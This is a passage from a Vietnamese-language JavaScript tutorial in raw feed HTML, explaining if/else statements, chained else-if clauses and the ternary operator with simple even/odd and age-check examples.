<code>&#x26;&#x26;</code> - trừ khi sử dụng cùng với cặp dấu ngoặc đơn <code>()</code>.</p>[email protected]<![CDATA[Cấu trúc rẽ nhánh trong JavaScript]]><![CDATA[Khi lập trình, bạn sẽ thường xuyên gặp tình huống là chỉ thực hiện một hành động nếu một hoặc nhiều điều kiện thỏa mãn. Để giải quyết vấn đề này, bạn cần phải biết về cấu trúc rẽ…]]>https://completejavascript.com/cau-truc-re-nhanh-trong-javascript/https://completejavascript.com/cau-truc-re-nhanh-trong-javascript/<![CDATA[Toán tử]]><![CDATA[Cấu trúc rẽ nhánh]]>Sat, 06 May 2017 20:00:00 GMT<p>Khi lập trình, bạn sẽ thường xuyên gặp tình huống là <strong>chỉ thực hiện một hành động nếu một hoặc nhiều điều kiện thỏa mãn</strong>. Để giải quyết vấn đề này, bạn cần phải biết về cấu trúc rẽ nhánh trong JavaScript.</p> <p>Có hai cấu trúc rẽ nhánh trong JavaScript là:</p> <ul> <li>Câu lệnh điều kiện rẽ nhánh - <strong>if/else</strong></li> <li>Toán tử rẽ nhánh - <strong>?:</strong></li> </ul> <h2 id="câu-lệnh-rẽ-nhánh-trong-javascript" style="position:relative;"><a href="#c%C3%A2u-l%E1%BB%87nh-r%E1%BA%BD-nh%C3%A1nh-trong-javascript" aria-label="câu lệnh rẽ nhánh trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Câu lệnh rẽ nhánh trong JavaScript</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về câu lệnh rẽ nhánh <code>if</code> trong JavaScript.</p> <h3 id="câu-lệnh-if" style="position:relative;"><a href="#c%C3%A2u-l%E1%BB%87nh-if" aria-label="câu lệnh if permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Câu lệnh <code>if</code></h3> <p>Câu lệnh <code>if(...)</code> sẽ kiểm tra điều kiện biểu thức bên trong cặp dấu ngoặc đơn <code>()</code>. Nếu kết quả là <code>true</code> thì một khối code sẽ được thực thi.</p> <p>Ví dụ về câu lệnh <code>if</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x is an even number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre></div> <p>Vì <code>x = 2</code> nên x chia 2 dư 0. Do đó, <code>x % 2 === 0</code> là <code>true</code>. Vì vậy, câu lệnh <code>console.log</code> trên được thực hiện.</p> <p>Để thực hiện nhiều câu lệnh, bạn sử dụng cặp dấu <code>{}</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x is an even number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"done!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span></code></pre></div> <p>Kết quả thu được:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">x is an even number done!</code></pre></div> <blockquote> <p>💡 Theo mình, dù khối code sau câu lệnh <code>if</code> là một hay nhiều câu lệnh thì bạn cũng nên dùng cặp dấu <code>{}</code> để code dễ đọc hơn.</p> <p>Ngoài ra, mình cũng nhắc lại quy luật <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a> sang boolean như sau:</p> <ul> <li>Những giá trị "empty" như: số <code>0</code>, string rỗng <code>""</code>, <code>null</code>, <code>undefined</code> và <code>NaN</code> sẽ trở thành <code>false</code>.</li> <li>Những giá trị còn lại sẽ trở thành <code>true</code>.</li> </ul> </blockquote> <p>Vì vậy, khối lệnh với điều kiện sau sẽ không bao giờ được thực thi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 0 là giá trị falsy</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// các câu lệnh</span> <span class="token punctuation">}</span></code></pre></div> <p>Ngược lại, khối lệnh với điều kiện sau lại luôn luôn được thực thi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// 1 là giá trị truthy</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// các câu lệnh</span> <span class="token punctuation">}</span></code></pre></div> <p>Ngoài ra, bạn có thể tính toán giá trị của điều kiện trước khi dùng <code>if</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">const</span> result <span class="token operator">=</span> x <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// kết quả là true</span></span> <span class="token keyword">if</span> <span class="token punctuation">(</span>result<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x is an even number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// câu lệnh này được thực thi</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="mệnh-đề-else" style="position:relative;"><a href="#m%E1%BB%87nh-%C4%91%E1%BB%81-else" aria-label="mệnh đề else permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mệnh đề <code>else</code></h3> <p>Đi theo câu lệnh <code>if</code> còn có mệnh đề <code>else</code> - dùng để thực hiện một khối lệnh khi điều kiện trong <code>if</code> là giá trị <a href="/toan-tu-logic-trong-javascript/#truthy-v%C3%A0-falsy-trong-javascript-l%C3%A0-g%C3%AC">falsy</a>.</p> <p>Tiếp theo ví dụ trên:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">3</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x is an even number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"x is an odd number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// câu lệnh này được thực thi</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span></code></pre></div> <p>Vì <code>x = 3</code> nên x chia 2 dư 1. Do đó, <code>x % 2 === 0</code> là <code>false</code>. Vì vậy, khối lệnh sau <code>else</code> được thực thi.</p> <h3 id="nhiều-mệnh-đề-else-if-nối-tiếp" style="position:relative;"><a href="#nhi%E1%BB%81u-m%E1%BB%87nh-%C4%91%E1%BB%81-else-if-n%E1%BB%91i-ti%E1%BA%BFp" aria-label="nhiều mệnh đề else if nối tiếp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhiều mệnh đề <code>else if</code> nối tiếp</h3> <p>Trong trường hợp, bạn cần kiểm tra nhiều điều kiện liên tiếp nhau thì có thể dùng nhiều mệnh đề <code>else if</code> nối tiếp nhau.</p> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>age <span class="token operator">&lt;</span> <span class="token number">18</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Too young!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>age <span class="token operator">></span> <span class="token number">50</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Too old!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"OK!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// OK!</span></code></pre></div> <p>Đoạn code trên kiểm tra điều kiện <code>age &#x3C; 18</code> đầu tiên. Nếu đúng thì câu lệnh <code>console.log</code> đầu tiên được thực thi. Nếu sai thì kiểm tra tiếp đến điều kiện <code>age > 50</code>. Nếu đúng thì câu lệnh <code>console.log</code> thứ hai được thực thi. Nếu vẫn sai thì câu lệnh <code>console.log</code> cuối cùng được thực thi.</p> <p>Ở đây, <code>age = 24</code> nên <code>age &#x3C; 18</code> và <code>age > 50</code> đều là <code>false</code>. Vì vậy, câu lệnh <code>console.log</code> cuối cùng được thực thi.</p> <blockquote> <p><strong>Chú ý</strong>: Mệnh đề <code>else</code> cuối cùng không bắt buộc phải có.</p> </blockquote> <p>Ví dụ trên khi bỏ mệnh đề <code>else</code> cuối cùng:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>age <span class="token operator">&lt;</span> <span class="token number">18</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Too young!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>age <span class="token operator">></span> <span class="token number">50</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Too old!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Lần này, không có điều kiện nào thỏa mãn, nên không câu lệnh <code>console</code> nào được thực thi.</p> <h2 id="toán-tử-rẽ-nhánh" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-r%E1%BA%BD-nh%C3%A1nh" aria-label="toán tử rẽ nhánh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử rẽ nhánh</h2> <p>Sau đây là những kiến thức cơ bản cần nhớ về toán tử rẽ nhánh <code>?</code> trong JavaScript.</p> <h3 id="toán-tử-rẽ-nhánh-" style="position:relative;"><a href="#to%C3%A1n-t%E1%BB%AD-r%E1%BA%BD-nh%C3%A1nh-" aria-label="toán tử rẽ nhánh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Toán tử rẽ nhánh <code>?</code></h3> <p>Trong nhiều trường hợp, bạn cần gán giá trị cho một biến dựa trên một điều kiện, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="token keyword">let</span> enoughAge<span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>age <span class="token operator">&lt;</span> <span class="token number">18</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> enoughAge <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> enoughAge <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>enoughAge<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Để đơn giản hơn, bạn có thể dùng toán tử rẽ nhánh <code>?</code> (hoặc có thể gọi là <strong>toán tử dấu hỏi</strong>), với cú pháp:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">const result = condition ? value1 : value2;</code></pre></div> <p>Đây là toán tử ba ngôi với ba thành phần:</p> <ul> <li>"condition": điều kiện cần kiểm tra</li> <li>"value1": giá trị trả về nếu điều kiện "condition" là <code>truthy</code>.</li> <li>"value2": giá trị trả về nếu điều kiện "condition" là <code>falsy</code>.</li> </ul> <p>Ví dụ trên trở thành:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">const</span> enoughAge <span class="token operator">=</span> age <span class="token operator">&lt;</span> <span class="token number">18</span> <span class="token operator">?</span> <span class="token boolean">false</span> <span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>enoughAge<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Ngoài ra, bạn có thể dùng cặp dấu ngoặc đơn <code>()</code> cho dễ nhìn (và chắc chắn hơn - khi bạn không rõ về thứ tự ưu tiên của các toán tử):</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">const</span> enoughAge <span class="token operator">=</span> <span class="token punctuation">(</span>age <span class="token operator">&lt;</span> <span class="token number">18</span><span class="token punctuation">)</span> <span class="token operator">?</span> <span class="token boolean">false</span> <span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>enoughAge<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Đây chỉ là ví dụ minh họa. Thực tế trong trường hợp này, bạn có thể code đơn giản hơn như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">const</span> enoughAge <span class="token operator">=</span> <span class="token punctuation">(</span>age <span class="token operator">>=</span> <span class="token number">18</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>enoughAge<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <h3 id="nhiều-toán-tử-" style="position:relative;"><a href="#nhi%E1%BB%81u-to%C3%A1n-t%E1%BB%AD-" aria-label="nhiều toán tử permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nhiều toán tử <code>?</code></h3> <p>Cùng xem lại ví dụ về nhiều mệnh đề <code>else if</code> bên trên:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>age <span class="token operator">&lt;</span> <span class="token number">18</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Too young!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>age <span class="token operator">></span> <span class="token number">50</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Too old!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"OK!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Bạn có thể sửa lại bằng cách sử dụng nhiều toán tử <code>?</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> age <span class="token operator">=</span> <span class="token number">24</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token keyword">const</span> message <span class="token operator">=</span> age <span class="token operator">&lt;</span> <span class="token number">18</span> <span class="token operator">?</span> <span class="token string">"Too young!"</span> <span class="token operator">:</span> age <span class="token operator">></span> <span class="token number">50</span> <span class="token operator">?</span> <span class="token string">"Too old!"</span> <span class="token operator">:</span> <span class="token string">"OK!"</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>message<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK!</span></code></pre></div> <p>Thoạt nhìn thì có vẻ phức tạp, nhưng bạn có thể phân tích kỹ ra như sau sẽ hiểu:</p> <ul> <li>Dấu <code>?</code> đầu tiên kiểm tra điều kiện <code>age &#x3C; 18</code>. <ul> <li>Nếu đúng thì trả về <code>"Too young!"</code>.</li> <li>Nếu sai thì tiếp tục xử lý thành phần sau dấu <code>:</code> đầu tiên.</li> </ul> </li> <li>Tiếp tục, dấu <code>?</code> thứ hai kiểm tra điều kiện <code>age > 50</code>. <ul> <li>Nếu đúng thì trả về <code>"Too old!"</code>.</li> <li>Nếu sai thì tiếp tục xử lý thành phần sau dấu <code>:</code> thứ hai.</li> </ul> </li> <li>Cuối cùng, khi các điều kiện trên đều <code>false</code> thì sẽ trả về <code>"OK!"</code>.</li> </ul> <h3 id="sử-dụng-toán-tử--thay-câu-lệnh-if" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-to%C3%A1n-t%E1%BB%AD--thay-c%C3%A2u-l%E1%BB%87nh-if" aria-label="sử dụng toán tử thay câu lệnh if permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng toán tử <code>?</code> thay câu lệnh <code>if</code></h3> <p>Bạn có thể dùng toán tử <code>?</code> để kiểm tra điều kiện và thực hiện một câu lệnh thay cho câu lệnh <code>if</code>, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">x <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span> <span class="token operator">?</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"even number"</span><span class="token punctuation">)</span> <span class="token operator">:</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"odd number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token comment">// even number</span></code></pre></div> <p>Mặc dù, đoạn code trên là đúng. Nhưng theo mình thì không nên code như vậy. Vì code như vậy khá khó nhìn và không trực quan.</p> <p>Bạn nên sử dụng đúng mục đích của câu lệnh <code>if</code> và toán tử <code>?</code>. Với đoạn code trên, bạn nên sử dụng câu lệnh <code>if</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> x <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>x <span class="token operator">%</span> <span class="token number">2</span> <span class="token operator">===</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"even number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"odd number"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// even number</span></code></pre></div> <h2 id="tổng-kết-về-cấu-trúc-rẽ-nhánh" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt-v%E1%BB%81-c%E1%BA%A5u-tr%C3%BAc-r%E1%BA%BD-nh%C3%A1nh" aria-label="tổng kết về cấu trúc rẽ nhánh permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết về cấu trúc rẽ nhánh</h2> <p>Có hai cấu trúc rẽ nhánh trong JavaScript là:</p> <ul> <li>Câu lệnh điều kiện rẽ nhánh - <strong>if/else</strong></li> <li>Toán tử rẽ nhánh - <strong>?:</strong></li> </ul> <p>Câu lệnh <code>if(...)</code> sẽ kiểm tra điều kiện biểu thức bên trong cặp dấu ngoặc đơn <code>()</code>.</p> <ul> <li>Nếu kết quả là <code>true</code> thì một khối code sẽ được thực thi.</li> <li>Nếu kết quả là <code>false</code> thì bạn có thể dùng mệnh đề <code>else</code> để thực thi một khối lệnh tương ứng khác.</li> </ul> <p>Toán tử <code>?</code> thường chỉ dùng để gán giá trị cho một biến dựa trên một điều kiện. Bạn nên sử dụng đúng mục đích của toán tử <code>?</code> để code rõ ràng và dễ hiểu hơn.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" 